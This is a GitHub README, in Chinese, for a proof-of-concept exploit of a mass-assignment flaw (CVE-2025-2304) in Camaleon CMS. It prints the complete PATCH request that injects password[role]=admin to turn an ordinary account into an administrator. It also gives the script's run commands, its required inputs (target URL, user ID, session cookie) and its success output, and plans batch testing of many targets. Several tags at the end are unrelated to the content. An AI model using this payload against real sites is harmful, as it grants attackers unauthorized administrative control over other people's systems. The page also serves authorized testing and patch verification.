Jeanback1/CVE-2025-2304-exploit
GitHub: Jeanback1/CVE-2025-2304-exploit
针对 Camaleon CMS CVE-2025-2304 Mass Assignment 漏洞的 PoC 利用脚本,通过自动提取 CSRF token 并构造恶意请求,将已认证的普通用户权限提升至管理员。
Stars: 0 | Forks: 0
# CVE-2025-2304 - Camaleon CMS Mass Assignment 权限提升
## 📌 项目描述
**CVE-2025-2304** 是 Camaleon CMS(版本 < 2.9.1)中的一个 Mass Assignment 漏洞,允许经过身份验证的用户通过在密码修改请求中操纵 `role` 参数,将其权限提升为管理员。
[](https://www.python.org/)
[](LICENSE)
[](https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2025-2304)
[]()
## 🚨 技术漏洞说明
### 漏洞背景
Camaleon CMS 使用 Ruby on Rails,并且在 2.9.0 版本中,`UsersController#updated_ajax` 控制器存在一个 **Mass Assignment** 漏洞。该控制器在没有限制的情况下使用了 `.permit!`,允许请求中发送的任何参数直接分配给用户模型。
### 攻击向量
1. **易受攻击的端点**:`POST /admin/users/{user_id}/updated_ajax`
2. **关键参数**:在 `password` 命名空间内发送的 `password[role]`
3. **机制**:控制器处理 `params.require(:password)`,然后应用 `.permit!`,这**不会过滤任何参数**
4. **结果**:将 `"admin"` 值注入到用户的 `role` 字段中
### 技术流程
```
POST /admin/users/3/updated_ajax
Content-Type: application/x-www-form-urlencoded
authenticity_token=[TOKEN]&
password[password]=new_password&
password[password_confirmation]=new_password&
password[role]=admin&
password[id]=3&
_method=patch
```
`password[role]` 参数由 `User.update(permitted_params)` 处理,并由于 `.permit!` 的作用直接分配给用户记录,从而将权限从 `user` 提升为 `admin`。
## ⚡ 安装与使用
### 前置条件
```
# Python 3.6+
python3 --version
# 所需 libraries
pip install requests
```
### 脚本执行
#### 英文版:
```
python3 exploit_cve_2025_2304_en.py
```
#### 西班牙文版:
```
python3 exploit_cve_2025_2304.py
```
### 必需输入
脚本将以交互方式询问:
1. **服务器基础 URL**:`http(s)://domain:port`
2. **用户 ID**:攻击者的用户标识
3. **Session cookie**:`_cms_session` 值(登录后获取)
4. **新密码**:可选(默认:`P@ssw0rd_lab_2025!`)
### 完整命令示例
```
python3 exploit_cve_2025_2304_en.py
```
```
[?] Base URL of the server (ex: http://localhost:3000) : http://192.168.1.100:8080
[?] User ID of the attacker user (ex: 3) : 5
[?] Session cookie (_cms_session=VALUE) : _cms_session=abc123def456
```
## 🔧 关于此脚本
### 为什么我要编写这个?
当我发现这个漏洞时,我的第一直觉是通过 Burp Suite 手动测试它——并且它奏效了。但我想更进一步,把这个手动过程变成一个可重复且易于移植的东西,所以我编写了这个脚本。
除了仅仅利用这个漏洞之外,构建它还让我有机会深入研究一些我觉得真正有趣的东西:
- 自动化带有 session 处理的多步骤 HTTP 流程
- 从实时响应中动态解析 CSRF token
- 处理来自同一端点的不一致的 JSON/HTML 响应
- 准确判断漏洞利用何时成功——以及何时失败
我并不是想取代 Burp 或 Caido。这些工具在交互式测试中是不可替代的。这只是当我不想重复手动操作时,宁愿写个脚本的产物。
## ⚠️ 免责声明与道德考量
### **重要法律警告**
```
THIS SCRIPT IS EXCLUSIVELY FOR:
- Controlled laboratory environments
- Systems you own or have explicit authorization to test
- Educational purposes and authorized research
STRICTLY PROHIBITED:
- Use on systems without authorization
- Application with malicious intent
- Violation of data protection laws
- Compromising third-party security
The author is not responsible for misuse of this tool.
```
## 📊 示例截图
### 成功执行
```
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-2304 │ Camaleon CMS Mass Assignment ║
║ Privilege Escalation: user → admin ║
║ [LABORATORY / CONTROLLED ENVIRONMENT] ║
╚══════════════════════════════════════════════════════════════╝
[✔] CSRF token obtained: abc123def456...
[✔] EXPLOIT SUCCESSFUL: Server confirmed the update.
[✔] Status : COMPROMISED
User 5 should now have 'admin' role.
```
### Payload 结构
```
{
"authenticity_token": "abcd1234",
"password[password]": "P@ssw0rd_lab_2025!",
"password[password_confirmation]": "P@ssw0rd_lab_2025!",
"password[role]": "admin",
"password[id]": "5",
"_method": "patch"
}
```
## 🛠 路线图与未来改进
### 计划改进
1. **登录自动化**:集成以自动获取 session
2. **版本检测**:通过指纹识别确认易受攻击的版本
3. 为自动化管道提供详细/静默模式以实现更简洁的输出
4. **批量测试**:能够同时测试多个用户/URL
5. **生成报告**:以 JSON/HTML 格式导出结果
### 扩展性
代码采用模块化结构,以促进以下方面:
- 适应其他 Mass Assignment 漏洞
- 集成到渗透测试框架中
- 添加日志记录和监控功能
## 📚 参考文献与资源
- **官方 CVE**:[CVE-2025-2304](https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2025-2304)
- **Camaleon CMS**:[官方仓库](https://github.com/owen2345/camaleon-cms)
- **补丁**:版本 2.9.1 修复了 `.permit!` 的使用
- **Rails 文档**:[Strong Parameters](https://guides.rubyonrails.org/action_controller_overview.html#strong-parameters)
## 🤝 贡献
欢迎以下方面的贡献:
1. 改进成功条件检测
2. 在保持道德准则的前提下添加功能
3. 修复错误或改进错误处理
4. 记录额外的用例
**请记住**:本项目仅用于教育和经过授权的研究目的。
*最后更新:2025 年 4 月 | 作者:安全分析师(实验室环境)*
标签:Camaleon CMS, CVE-2025-2304, Maven, PoC, Python, Ruby on Rails, Web安全, Web应用攻击, Web报告查看器, 内存转储, 协议分析, 参数篡改, 批量赋值, 无后门, 暴力破解, 权限提升, 漏洞验证, 蓝队分析, 越权访问, 身份验证漏洞